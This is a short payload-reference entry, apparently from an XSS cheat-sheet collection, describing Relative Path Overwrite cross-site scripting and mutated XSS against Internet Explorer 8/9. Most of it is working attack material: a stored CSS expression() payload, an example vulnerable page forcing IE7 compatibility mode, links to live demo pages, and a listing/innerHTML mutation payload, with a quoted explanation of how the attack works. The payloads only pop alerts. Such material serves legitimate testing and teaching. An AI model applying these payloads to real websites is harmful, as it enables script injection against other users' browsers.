XSS with Relative Path Overwrite - IE 8/9 and lower

You need these 3 components

```
1) stored XSS that allows CSS injection. : {}*{xss:expression(open(alert(1)))}
2) URL Rewriting.
3) Relative addressing to CSS style sheet : ../style.css
```

A little example

```
http://url.example.com/index.php/[RELATIVE_URL_INSERTED_HERE]
<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />
<link href="[RELATIVE_URL_INSERTED_HERE]/styles.css" rel="stylesheet" type="text/css" />
</head>
<body>
Stored XSS with CSS injection - Hello {}*{xss:expression(open(alert(1)))}
</body>
</html>
```

Explanation of the vulnerability

> *The Meta element forces IE's document mode into IE7 compat which is required to execute expressions. Our persistent text {}*{xss:expression(open(alert(1)))is included on the page and in a realistic scenario it would be a profile page or maybe a shared status update which is viewable by other users. We use "open" to prevent client side DoS with repeated executions of alert. A simple request of "rpo.php/" makes the relative style load the page itself as a style sheet. The actual request is "/labs/xss_horror_show/chapter7/rpo.php/styles.css" the browser thinks there's another directory but the actual request is being sent to the document and that in essence is how an RPO attack works.*

Demo 1 at `http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo.php` Demo 2 at `http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo2.php/fakedirectory/fakedirectory2/fakedirectory3`
MultiBrowser : `http://challenge.hackvertor.co.uk/xss_horror_show/chapter7/rpo3.php`

From : `http://www.thespanner.co.uk/2014/03/21/rpo/`

Mutated XSS for Browser IE8/IE9

```
<listing id=x>&lt;img src=1 onerror=alert(1)&gt;</listing>
<script>alert(document.getElementById('x').innerHTML)</script>
```

IE will read and write (decode) HTML multiple time and attackers XSS payload will mutate and execute.